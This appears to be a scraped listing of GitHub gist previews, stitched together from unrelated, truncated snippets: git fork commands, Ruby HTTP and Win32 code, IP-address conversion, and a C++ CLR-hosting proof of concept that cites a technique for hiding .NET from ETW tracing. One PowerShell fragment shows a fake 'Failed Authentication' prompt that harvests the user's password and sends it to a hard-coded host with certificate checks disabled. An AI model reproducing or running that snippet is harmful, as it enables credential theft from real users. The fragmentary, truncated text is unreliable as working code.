git clone [email protected]:YOUR-USERNAME/YOUR-FORKED-REPO.git
cd into/cloned/fork-repo
git remote add upstream git://github.com/ORIGINAL-DEV-USERNAME/REPO-YOU-FORKED-FROM.git
git fetch upstream
| // CLR Hosting, by [email protected] | |
| // | |
| // it's a new edition rewrite for .NET(4+) COM interface | |
| // original from github.com/etormadiv/HostingCLR | |
| // & blog.xpnsec.com/hiding-your-dotnet-etw | |
| // | |
| // this PoC supports the following .NET entry: | |
| // >>>> static void Main(string[] args); | |
| // | |
| #include <stdio.h> | 
| #include <Windows.h> | |
| #include <ntdef.h> | |
| #include <cstdint> | |
| #include <cassert> | |
| #include <cstring> | |
| #include <cstdio> | |
| typedef enum | |
| { | 
git clone [email protected]:YOUR-USERNAME/YOUR-FORKED-REPO.git
cd into/cloned/fork-repo
git remote add upstream git://github.com/ORIGINAL-DEV-USERNAME/REPO-YOU-FORKED-FROM.git
git fetch upstream
| require 'net/http' | |
| require 'uri' | |
| host = "localhost" | |
| port = 5125 | |
| path = "/api/hoge/hoge/hoge" | |
| body = URI.encode_www_form({'number'=>0, 'mode'=>'gauge'}) | |
| # 1) | |
| @client = Net::HTTP.new(host, port) | |
| # @client.set_debug_output(STDOUT) | 
| require "fiddle/import" | |
| require 'fiddle/types' | |
| # オリジナル(Win32APIライブラリを使う版)はこちら | |
| # https://rubyist.g.hatena.ne.jp/edvakf/20110405/1301973681 | |
| module WIN32API | |
| extend Fiddle::Importer | |
| dlload 'C:\\Windows\\System32\\kernel32.dll' | |
| include Fiddle::Win32Types | |
| extern 'DWORD GetCurrentProcessId()' | 
| # Support for http digest auth | |
| # Discovered here: http://johan.bingodisk.com/public/code/net_digest_auth.rb | |
| require 'digest/md5' | |
| require 'net/http' | |
| module Net | |
| module HTTPHeader | |
| @@nonce_count = -1 | |
| CNONCE = Digest::MD5.new("%x" % (Time.now.to_i + rand(65535))).hexdigest | 
| # In Java, the following expression | |
| # Integer.toHexString(1286933134) | |
| # produces: | |
| # "4cb50a8e" | |
| # and | |
| # Integer.toHexString(-1286933134) | |
| # produces: | |
| # "b34af572" | |
| # ref doc: http://docs.oracle.com/javase/7/docs/api/java/lang/Integer.html#toHexString(int) | 
#Getting Started
##Webpage:
<html>
<head>
    <title>Testing with Ruby and Selenium WebDriver</title>
</head>
 
<body bgcolor="antiquewhite">
| $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName); | |
| [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; | |
| $wc = new-object net.webclient; | |
| $wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy; | |
| $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; | |
| $wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, ''); | |
| $result = $wc.downloadstring('https://172.16.102.163'); | 
| # How to convert IPv4 addresses between integer <=> dot-decimal notation | |
| INTEGER = 1698212032 | |
| DOT_DECIMAL = '192.168.56.101' | |
| # [ 192, 168, 56, 101 ] | |
| DOT_DECIMAL_PARTS = DOT_DECIMAL.split('.').map(&:to_i) | |
| #################################### | |
| # integer to dot-decimal |